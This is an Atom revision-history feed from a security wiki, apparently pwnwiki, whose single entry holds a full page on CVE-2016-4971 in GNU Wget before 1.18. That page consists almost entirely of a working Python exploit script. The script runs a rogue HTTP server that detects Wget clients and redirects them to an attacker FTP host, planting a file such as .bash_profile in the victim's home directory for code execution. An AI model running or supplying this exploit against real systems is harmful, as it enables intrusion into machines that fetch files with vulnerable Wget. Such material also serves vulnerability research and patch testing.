<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2016-4971_Wget%E5%B0%8F%E6%96%BC1.18_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2016-4971 Wget小於1.18 任意文件上傳&amp;遠程命令執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2016-4971_Wget%E5%B0%8F%E6%96%BC1.18_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2016-4971_Wget%E5%B0%8F%E6%96%BC1.18_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-08T02:58:02Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2016-4971_Wget%E5%B0%8F%E6%96%BC1.18_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1965&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: GNU Wget &lt; 1.18 - Arbitrary File Upload / Remote Code Execution (2) # Original Exploit Author: Dawid Golunski # Exploit Author: liewehacksie # V...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2016-4971_Wget%E5%B0%8F%E6%96%BC1.18_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%26%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=1965&amp;oldid=prev"/>
		<updated>2021-04-30T14:26:28Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: GNU Wget &amp;lt; 1.18 - Arbitrary File Upload / Remote Code Execution (2) # Original Exploit Author: Dawid Golunski # Exploit Author: liewehacksie # V...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: GNU Wget &amp;lt; 1.18 - Arbitrary File Upload / Remote Code Execution (2)&lt;br /&gt;
# Original Exploit Author: Dawid Golunski&lt;br /&gt;
# Exploit Author: liewehacksie&lt;br /&gt;
# Version: GNU Wget &amp;lt; 1.18 &lt;br /&gt;
# CVE: CVE-2016-4971&lt;br /&gt;
&lt;br /&gt;
import http.server&lt;br /&gt;
import socketserver&lt;br /&gt;
import socket&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
class wgetExploit(http.server.SimpleHTTPRequestHandler):&lt;br /&gt;
&lt;br /&gt;
   def do_GET(self):&lt;br /&gt;
       # This takes care of sending .wgetrc/.bash_profile/$file&lt;br /&gt;
&lt;br /&gt;
       print(&amp;quot;We have a volunteer requesting &amp;quot; + self.path + &amp;quot; by GET :)\n&amp;quot;)&lt;br /&gt;
       if &amp;quot;Wget&amp;quot; not in self.headers.get('User-Agent'):&lt;br /&gt;
          print(&amp;quot;But it's not a Wget :( \n&amp;quot;)&lt;br /&gt;
          self.send_response(200)&lt;br /&gt;
          self.end_headers()&lt;br /&gt;
          self.wfile.write(&amp;quot;Nothing to see here...&amp;quot;)&lt;br /&gt;
          return&lt;br /&gt;
&lt;br /&gt;
       self.send_response(301)&lt;br /&gt;
       print(&amp;quot;Uploading &amp;quot; + str(FILE) + &amp;quot;via ftp redirect vuln. It should land in /home/ \n&amp;quot;)&lt;br /&gt;
       new_path = 'ftp://anonymous@{}:{}/{}'.format(FTP_HOST, FTP_PORT, FILE)&lt;br /&gt;
&lt;br /&gt;
       print(&amp;quot;Sending redirect to %s \n&amp;quot;%(new_path))&lt;br /&gt;
       self.send_header('Location', new_path)&lt;br /&gt;
       self.end_headers()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
HTTP_LISTEN_IP = '192.168.72.2'&lt;br /&gt;
HTTP_LISTEN_PORT = 80&lt;br /&gt;
FTP_HOST = '192.168.72.4'&lt;br /&gt;
FTP_PORT = 2121&lt;br /&gt;
FILE = '.bash_profile'&lt;br /&gt;
&lt;br /&gt;
handler = socketserver.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;Ready? Is your FTP server running?&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
result = sock.connect_ex((FTP_HOST, FTP_PORT))&lt;br /&gt;
if result == 0:&lt;br /&gt;
   print(&amp;quot;FTP found open on %s:%s. Let's go then\n&amp;quot; % (FTP_HOST, FTP_PORT))&lt;br /&gt;
else:&lt;br /&gt;
   print(&amp;quot;FTP is down :( Exiting.&amp;quot;)&lt;br /&gt;
   exit(1)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;Serving wget exploit on port %s...\n\n&amp;quot; % HTTP_LISTEN_PORT)&lt;br /&gt;
&lt;br /&gt;
handler.serve_forever()&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>